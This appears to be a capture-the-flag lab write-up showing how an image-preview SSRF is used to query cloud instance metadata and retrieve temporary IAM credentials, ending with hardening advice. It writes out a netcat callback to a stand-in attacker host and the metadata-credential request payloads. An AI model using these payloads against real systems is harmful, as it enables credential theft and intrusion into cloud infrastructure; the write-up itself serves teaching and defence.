From a "harmless" SSRF to stolen cloud credentials
An image-preview feature that accepts an arbitrary URL. Seemingly harmless—until you point it inward.
The app offers to preview a remote image by pasting its URL. The server fetches it itself. That's exactly the pattern of a Server-Side Request Forgery: you don't just control an image, you control a request issued from the server, with its network privileges.
Confirm the SSRF
We point the preview at a collector we control and watch the incoming connection: the server's egress IP, headers, User-Agent. The request really does come from the backend, not the browser.
$ nc -lvnp 8000 listening on [any] 8000 ... connect from 10.0.3.14 GET / HTTP/1.1 Host: attacker.example:8000 User-Agent: imgproxy/1.9 (+internal-fetcher)
Pivot to the metadata
On an unhardened cloud instance, the link-local address 169.254.169.254 exposes instance metadata, including temporary credentials attached to the machine's role. We simply request a preview of this "image":
POST /preview url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # response: role name -> then url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role # -> temporary AccessKeyId, SecretAccessKey, Token
The flag
In the lab, the role granted access to a bucket containing the flag:
flag{169.254.169.254_1s_n0t_y0ur_fr13nd}
Fix it, for real
- IMDSv2 (mandatory token-based session + a TTL hop limit) neutralizes most SSRF-to-metadata. Enforce it, don't just offer it.
- Strict allow-list of hosts/schemes on the fetcher side, validated DNS resolution, and blocking of private and link-local ranges (
169.254.0.0/16,127.0.0.0/8, RFC 1918). - Watch out for DNS rebinding and redirects: validate the IP after resolution, on every hop.
- Least privilege on the instance role: if the token leaks, the impact should stay minimal.
An SSRF "only" fires requests. But inside an infrastructure, a request in the right place is worth a password.